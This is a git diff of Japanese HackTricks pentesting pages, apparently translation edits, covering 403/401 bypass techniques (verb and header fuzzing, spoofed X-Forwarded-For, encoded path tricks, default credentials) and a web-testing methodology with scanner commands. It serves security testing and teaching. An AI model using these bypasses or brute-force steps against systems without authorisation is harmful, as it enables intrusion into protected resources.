-* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
+**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してもっと深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
-## HTTP動詞/メソッドのファジング
+## HTTP動詞/メソッドのFuzzing
-ファイルにアクセスするために **異なる動詞** を使用してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
+ファイルにアクセスするために**異なる動詞**を使用してみてください:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
-* 応答ヘッダーを確認し、いくつかの情報が提供されるかもしれません。たとえば、`Content-Length: 55` で **HEAD 動詞が情報にアクセスできる** ことを示す **200 応答** がある場合、情報を取り出す方法を見つける必要があります。
+* 応答ヘッダーを確認して、情報が提供される可能性があります。たとえば、`Content-Length: 55` で **HEAD 動詞が情報にアクセスできる**ことを示す **200 応答**がある場合、情報を取り出す方法を見つける必要があります。
* `X-HTTP-Method-Override: PUT` のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。
-* **`TRACE`** 動詞を使用し、非常に幸運な場合、応答に **中間プロキシによって追加されたヘッダー** も表示されるかもしれません。
+* **`TRACE`** 動詞を使用し、非常に幸運な場合、応答に **中間プロキシによって追加されたヘッダー** も表示されるかもしれません。これは役立つかもしれません。
-## HTTPヘッダーのファジング
+## HTTPヘッダーのFuzzing
-* **Hostヘッダーを変更** して任意の値にします ([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
-* リソースにアクセスするために [**他のユーザーエージェントを使用**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) してみてください。
-* **HTTPヘッダーのファジング**: HTTPプロキシ **ヘッダー**、HTTP認証のBasicおよびNTLMブルートフォース(いくつかの組み合わせのみ)、およびその他のテクニックを試してみてください。これらすべてを行うために、ツール [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) を作成しました。
+* **Hostヘッダーを**任意の値に変更してみてください([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
+* 他の **User Agents を使用**してリソースにアクセスしてみてください。
+* **HTTPヘッダーのFuzz**: HTTPプロキシ **ヘッダー**、HTTP認証の基本的なNTLMブルートフォース(いくつかの組み合わせのみ)およびその他のテクニックを試してみてください。これらすべてを行うために、私はツール [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) を作成しました。
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@@ -48,21 +48,21 @@ HackTricks をサポートする他の方法:
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
-**パスが保護されている** 場合、次のヘッダーを使用してパス保護をバイパスできます:
+**パスが保護されている**場合、次のヘッダーを使用してパス保護をバイパスできます:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
-* ページが **プロキシの背後にある** 場合、おそらくプライベート情報にアクセスできないのはプロキシのせいかもしれません。[**HTTPリクエストスマグリング**](../../pentesting-web/http-request-smuggling/) **や** [**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用**してみてください。
-* 異なる応答を探すために [**特別なHTTPヘッダー**](special-http-headers.md) をファジングしてください。
-* **HTTPメソッド** をファジングしながら **特別なHTTPヘッダー** をファジングしてください。
-* **Hostヘッダーを削除** して、保護をバイパスできるかもしれません。
+* ページが**プロキシの背後にある**場合、おそらくプライベート情報にアクセスできないのはプロキシのせいです。[**HTTPリクエストスマグリング**](../../pentesting-web/http-request-smuggling/)を悪用してみるか、[**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)を悪用してみてください。
+* 異なる応答を探すために[**特別なHTTPヘッダー**](special-http-headers.md)をFuzzします。
+* **HTTPメソッド**をFuzzする間に**特別なHTTPヘッダー**をFuzzします。
+* **Hostヘッダーを削除**して、保護をバイパスできるかもしれません。
-## パスのファジング
+## パスのFuzzing
_**/path**_ がブロックされている場合:
-* _**/**_**%2e/path \_(アクセスがプロキシによってブロックされている場合、これは保護をバイパスできるかもしれません)。また、**\_\*\* /%252e\*\*/path**(ダブルURLエンコード)も試してみてください
-* **Unicodeバイパス**: _/**%ef%bc%8f**path_(URLエンコードされた文字は "/" のようなものです)のため、エンコードを戻すと _//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません
+* _**/**_**%2e/path** を使用してみてください(アクセスがプロキシによってブロックされている場合、これは保護をバイパスできるかもしれません)。また、** /%252e**/path (ダブルURLエンコード) も試してみてください
+* **Unicodeバイパス**を試してみてください: _/**%ef%bc%8f**path_(URLエンコードされた文字は "/ "のようなものです)のため、エンコードを戻すと _//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません
* **その他のパスバイパス**:
* site.com/secret –> HTTP 403 Forbidden
* site.com/SECRET –> HTTP 200 OK
@@ -74,7 +74,7 @@ _**/path**_ がブロックされている場合:
* site.com/.;/secret –> HTTP 200 OK
* site.com//;//secret –> HTTP 200 OK
* site.com/secret.json –> HTTP 200 OK (ruby)
-* 以下の状況で [**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) を使用してください:
+* 以下の状況で[**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)を使用してください:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
@@ -92,25 +92,25 @@ _**/path**_ がブロックされている場合:
* **パラメータ値**を変更:**`id=123` --> `id=124`**
* URLに追加のパラメータを追加:`?`**`id=124` —-> `id=124&isAdmin=true`**
* パラメータを削除
-* パラメータを再配置
+* パラメータの順序を変更
* 特殊文字を使用
-* パラメータで境界テストを実行 — _-234_ や _0_、_99999999_ のような値を提供します(例示的な値)。
+* パラメータで境界テストを実行 — _-234_ や _0_、_99999999_ のような値を提供(例示)
## **プロトコルバージョン**
-HTTP/1.1を使用している場合は、**1.0を試してみる**か、さらに**2.0をサポートしているか**をテストします。
+HTTP/1.1を使用している場合は、**1.0を試してみる**か、さらに**2.0をサポートしているか**をテストする。
## **その他のバイパス**
* ドメインの**IP**または**CNAME**を取得し、**直接接続を試みる**。
* サーバーに**負荷をかける**ために一般的なGETリクエストを送信してみる([Facebookで機能した例](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
* **プロトコルを変更**:httpからhttpsに、またはhttpsからhttpに変更
-* [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**世界中でアクセス可能**だったかどうかを確認します。
+* [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**世界中でアクセス可能**だったかどうかを確認する。
## **ブルートフォース**
-* **パスワードを推測**:以下の一般的な資格情報をテストします。被害者に関する情報はありますか?またはCTFチャレンジ名はわかりますか?
-* [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 基本認証、ダイジェスト認証、NTLM認証を試してみる。
+* **パスワードを推測**:以下の一般的な資格情報をテストしてみる。被害者に関する情報はありますか?またはCTFチャレンジの名前は?
+* [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 基本認証、ダイジェスト認証、NTLM認証を試す。
{% code title="一般的な資格情報" %}
```
@@ -133,9 +133,9 @@ guest guest
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
-
+
-**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用して完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用して完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
@@ -149,6 +149,6 @@ HackTricksをサポートする他の方法:
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
-* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
+* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md
index 88c67e9fe..fad30da6f 100644
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@@ -2,7 +2,7 @@
-**htARTE(HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学ぶ!
+**htARTE(HackTricks AWS Red Team Expert)** **でAWSハッキングをゼロからヒーローまで学ぶ**!
HackTricksをサポートする他の方法:
@@ -14,7 +14,7 @@ HackTricksをサポートする他の方法:
-
+
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
@@ -43,18 +43,18 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## 方法論の要約
-> この方法論では、ドメイン(またはサブドメイン)を攻撃すると仮定します。したがって、発見された各ドメイン、サブドメイン、またはスコープ内の未確定のWebサーバーにこの方法論を適用する必要があります。
+> この方法論では、ドメイン(またはサブドメイン)を攻撃すると仮定します。したがって、発見した各ドメイン、サブドメイン、またはスコープ内の未確定のWebサーバーにこの方法論を適用する必要があります。
* [ ] 最初にWebサーバーで使用されている**技術**を**特定**します。技術を正常に特定できれば、テストの残りの部分で考慮すべき**トリック**を探します。
-* [ ] 技術のバージョンの**既知の脆弱性**はありますか?
+* [ ] 技術のバージョンに**既知の脆弱性**はありますか?
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
* [ ] 実行する**専門のスキャナー**はありますか(例: wpscan)?
* [ ] **一般的な目的のスキャナー**を起動します。何か見つかるか、興味深い情報が見つかるかわかりません。
* [ ] **初期チェック**から始めます: **robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
-* [ ] Webページを**スパイダリング**します: すべての可能な**ファイル**、**フォルダ**、および**使用されているパラメータ**を見つける時です。また、**特別な発見**をチェックします。
-* [ ] _新しいディレクトリがブルートフォースやスパイダリング中に発見されるたびに、それをスパイダリングする必要があります。_
+* [ ] Webページを**スパイダリング**します: すべての可能な**ファイル**、**フォルダ**、**使用されているパラメータ**を見つける時です。また、**特別な発見**をチェックします。
+* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見されるたびに、それをスパイダリングする必要があります。_
* [ ] **ディレクトリのブルートフォース**: 発見されたすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。
-* [ ] _新しいディレクトリがブルートフォースやスパイダリング中に発見されるたびに、それをブルートフォースする必要があります。_
+* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
* [ ] **バックアップの確認**: 一般的なバックアップ拡張子を追加して、**発見されたファイルのバックアップ**を見つけることができるかテストします。
* [ ] **パラメータのブルートフォース**: **隠されたパラメータ**を見つけようとします。
* [ ] すべての**ユーザー入力**を受け入れる**可能性のあるエンドポイント**を**特定**したら、それに関連する**脆弱性**をすべてチェックします。
@@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### 特定
実行されているサーバーバージョンに**既知の脆弱性**があるかどうかを確認します。\
-**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、**[**https://builtwith.com/**](https://builtwith.com)**のツールも役立ちます。**
+**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立つ可能性があります。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、**[**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません。**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
@@ -116,19 +116,19 @@ webanalyze -host https://google.com -crawl 2
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
-_**同じドメイン**が異なる**ポート**、**フォルダ**、**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\
+_**同じドメイン**が異なる**技術**を異なる**ポート**、**フォルダ**、**サブドメイン**で使用している可能性があることに注意してください。_\
Webアプリケーションが以前にリストされた**技術/プラットフォーム**または**その他**を使用している場合は、**インターネットで**新しいトリックを**検索**してください(そして私に知らせてください!)。
### ソースコードレビュー
-アプリケーションの**ソースコード**が**github**で利用可能な場合、**自分自身でアプリケーションのホワイトボックステスト**を実行するだけでなく、現在の**ブラックボックステスト**に役立つ**いくつかの情報**があります:
+アプリケーションの**ソースコード**が**github**で利用可能な場合、**アプリケーションのホワイトボックステスト**を実施する他に、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
-* **変更ログまたはReadmeまたはバージョン**情報がWeb経由でアクセス可能な**ファイル**があるかどうか?
-* **資格情報**はどこに保存されていますか?(ユーザー名やパスワードの)アクセス可能な**ファイル**に資格情報が含まれていますか?
+* **変更ログまたはReadmeまたはバージョン**情報がWeb経由でアクセス可能な**ファイル**があるか?
+* **資格情報**はどこに保存されていますか?(ユーザー名やパスワードのある)アクセス可能な**ファイル**はありますか?
* **パスワード**は**平文**、**暗号化**されているか、どの**ハッシュアルゴリズム**が使用されていますか?
-* 暗号化のための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
+* 何かを暗号化するための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
* これらのファイルに**アクセス**して**脆弱性を悪用**できますか?
-* githubの**興味深い情報**(解決済みおよび未解決の問題)や**コミット履歴**(古いコミットに**導入されたパスワード**など)には何かありますか?
+* githubの**興味深い情報**(解決済みおよび未解決の問題)がありますか?または**コミット履歴**(古いコミットに**導入されたパスワード**など)に?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@@ -150,10 +150,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMSスキャナー
-CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。おそらく興味深い情報が見つかるかもしれません:
+CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。おそらく興味深い情報が見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat.md)**、Railo、Axis2、Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイトのセキュリティ問題をスキャンします。(GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイトのセキュリティ問題をスキャンします(GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、**[**Wordpress**](wordpress.md)**、**[**Drupal**](drupal.md)**、PrestaShop、Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**、**[**(J)oomla**](joomla.md)**、**[**(D)rupal**](drupal.md)**、**[**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、**[**Joomla**](joomla.md)**、**[**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md)
@@ -163,11 +163,11 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> この時点で、クライアントが使用しているWebサーバーに関する情報がすでにいくつかあるはずです(データが提供されている場合)。また、テスト中に心に留めておくべきいくつかのトリックもあります。運が良ければ、CMSを見つけてスキャナーを実行しているかもしれません。
+> この時点で、クライアントが使用しているWebサーバーに関する情報がすでにいくつかあるはずです(データが提供されている場合)、およびテスト中に心に留めておくべきいくつかのトリックがあります。運が良ければ、CMSを見つけてスキャナーを実行しているかもしれません。
## ステップバイステップのWebアプリケーションの発見
-> この時点から、Webアプリケーションとのやり取りを開始します。
+> この時点から、Webアプリケーションとやり取りを開始します。
### 初期チェック
@@ -184,24 +184,24 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Webサーバーは、奇妙なデータが送信されると予期しない動作をする可能性があります。これにより、**脆弱性**が公開されたり、**機密情報**が漏洩したりする可能性があります。
-* /whatever_fake.php (.aspx、.htmlなど)のような**偽のページ**にアクセス
-* **クッキー値**や**パラメータ**値に"\[]"、"]]、"\[\["を追加してエラーを発生させる
-* URLの**末尾**に**`/~randomthing/%s`**と入力してエラーを生成する
+* /whatever_fake.php (.aspx、.html、など) のような**偽のページ**にアクセス
+* **クッキー値**や**パラメータ**値に "\[]", "]]", および "\[\[" を追加してエラーを発生させる
+* URLの**末尾**に **`/~randomthing/%s`** として入力してエラーを生成する
* PATCH、DEBUGなどの**異なるHTTP動詞**を試してみる
-#### **ファイルのアップロードが可能か確認する(**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
+#### **ファイルのアップロードが可能か確認する (**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
-**WebDav**が**有効**になっていることがわかった場合でも、ルートフォルダに**ファイルをアップロードする権限が不足している**場合は、次のようにしてみてください:
+**WebDav**が**有効**であることがわかった場合でも、ルートフォルダに**ファイルをアップロードする権限が不足している**場合は、次のようにしてみてください:
-* 資格情報を**ブルートフォース**で破る
-* WebDavを介してファイルをアップロードして、Webページ内の**他のフォルダ**にアクセスします。他のフォルダにファイルをアップロードする権限があるかもしれません。
+* 資格情報を**ブルートフォース**する
+* WebDavを使用して、Webページ内の**他のフォルダ**にファイルをアップロードする。他のフォルダにファイルをアップロードする権限があるかもしれません。
### **SSL/TLSの脆弱性**
* アプリケーションが**HTTPSの使用を強制していない**場合、MitMに**脆弱**です
-* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性があります。
+* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性です。
-[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられないでしょう)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします。
+[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられない)そして[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -224,26 +224,26 @@ SSL/TLSの脆弱性に関する情報:
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、また「ジューシーファイル」を示します
* [**evine**](https://github.com/saeeddhqan/evine) (go): インタラクティブCLI HTMLスパイダー。また、Archive.orgで検索します
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、便利です。ホストとパスを示すだけで、megは各ホストの各パスを取得してレスポンスを保存します
-* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を備えたHTMLスパイダー。ただし、メンテナンスされていないようで、プリコンパイルされたバージョンが古く、現在のコードはコンパイルされません
+* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を備えたHTMLスパイダー。ただし、メンテナンスされていないようで、事前にコンパイルされたバージョンが古く、現在のコードはコンパイルされません
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback、otx、commoncrawl)を使用するHTMLスパイダー
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を備えたHTMLスパイダー
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JSファイル内の新しいパスを検索できるJSビューティファイ機能を備えたHTMLスパイダー。また、[JSScanner](https://github.com/dark-warlord14/JSScanner)も見てみる価値があります
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込みJavaScriptファイルからエンドポイントを抽出するためのツール。バグハンターやレッドチーム、情報セキュリティのニンジャに役立ちます
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです
-* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を指定すると、そのファイルから相対URLを抽出するための便利な正規表現を使用します
+* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を指定すると、そのファイルから相対URLを抽出するための賢い正規表現を使用します
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、複数のツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます
-* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページの読み込みに使用されるすべてのURLを出力します
+* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、読み込まれたすべてのURLを表示します
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのオプションを組み合わせたコンテンツ検出ツール
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを指定すると、美しく整形されたJSコードを取得します
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するためのツール
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback内の応答をダウンロードし、さらにリンクを探します)
-* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力によるクロールや、特定の正規表現を使用して機密情報を見つける
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです
+* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの記入によるクロールや、特定の正規表現を使用して機密情報を見つける
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度な多機能GUIウェブセキュリティクローラー/スパイダーです
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)
-* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): リクエストからパラメータとエンドポイントを抽出して、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**
+* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出して、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です
### ディレクトリとファイルのブルートフォース
@@ -251,15 +251,15 @@ SSL/TLSの脆弱性に関する情報:
ツール:
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古い**(そして**遅い**)ですが機能します。自動署名証明書と再帰的検索を許可します。他のオプションと比較して遅すぎます
-* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自動署名証明書を許可しませんが**再帰的検索を許可します
-* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自動署名証明書を許可し、**再帰的**検索は**ありません**
+* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自動署名証明書を許可しませんが**、再帰的検索を許可します
+* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自動署名証明書を許可し、**再帰的**検索はありません
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的検索をサポートします**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 速い: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではなく、見つかったURLのリストを削除するツールです
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのBurp履歴からディレクトリのリストを作成するためのBurp拡張機能
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 重複機能を持つURLを削除します(jsのインポートに基づく)
-* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出し、使用するワードリストを選択します
+* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出し、使用するワードリストを選択するためにwapalyzerを使用します
**推奨される辞書:**
@@ -279,43 +279,43 @@ SSL/TLSの脆弱性に関する情報:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_ブルートフォースやスパイダリング中に新しいディレクトリが見つかった場合、それをブルートフォースする必要があります。_
+_ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合、ブルートフォースする必要があります。_
### 各ファイルでチェックすべきこと
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): HTML内のリンク切れを見つけ、乗っ取りの可能性があるものを特定します。
-* **ファイルのバックアップ**: すべての実行可能ファイル("_.php_"、"_.aspx_"など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使用することもできます。
-* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみてください。_
